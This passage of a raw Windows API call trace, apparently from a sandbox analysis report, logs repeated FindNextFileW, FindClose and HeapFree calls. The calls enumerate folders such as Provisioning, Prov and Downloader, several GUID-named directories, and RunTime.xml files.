hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.184] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Network", cAlternateFileName="")) returned 1 [0281.184] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.184] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CM_old", cAlternateFileName="")) returned 1 [0281.184] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.184] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CM_old", cAlternateFileName="")) returned 0 [0281.184] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0281.185] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.185] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0281.185] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.185] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0281.185] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0281.185] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.185] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office", cAlternateFileName="")) returned 1 [0281.185] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0281.185] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0281.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.437] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.437] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.437] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0281.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.437] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0281.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.438] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.438] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.438] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0281.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.438] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0281.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.439] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.439] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.439] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0281.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.439] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1 [0281.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.440] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.440] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.440] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0281.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.440] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1 [0281.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.441] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.441] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.441] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0281.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.441] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0281.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.443] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.443] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.443] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0281.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.443] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0281.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.444] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.444] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.444] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0281.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.444] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0281.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.445] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.445] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.445] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0281.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.445] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0281.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.446] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.446] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.446] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0281.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.446] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0281.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.447] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0281.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.447] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Prov", cAlternateFileName="")) returned 0 [0281.447] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0281.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.447] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0281.448] HeapFree (in: hHeap=0x630000, 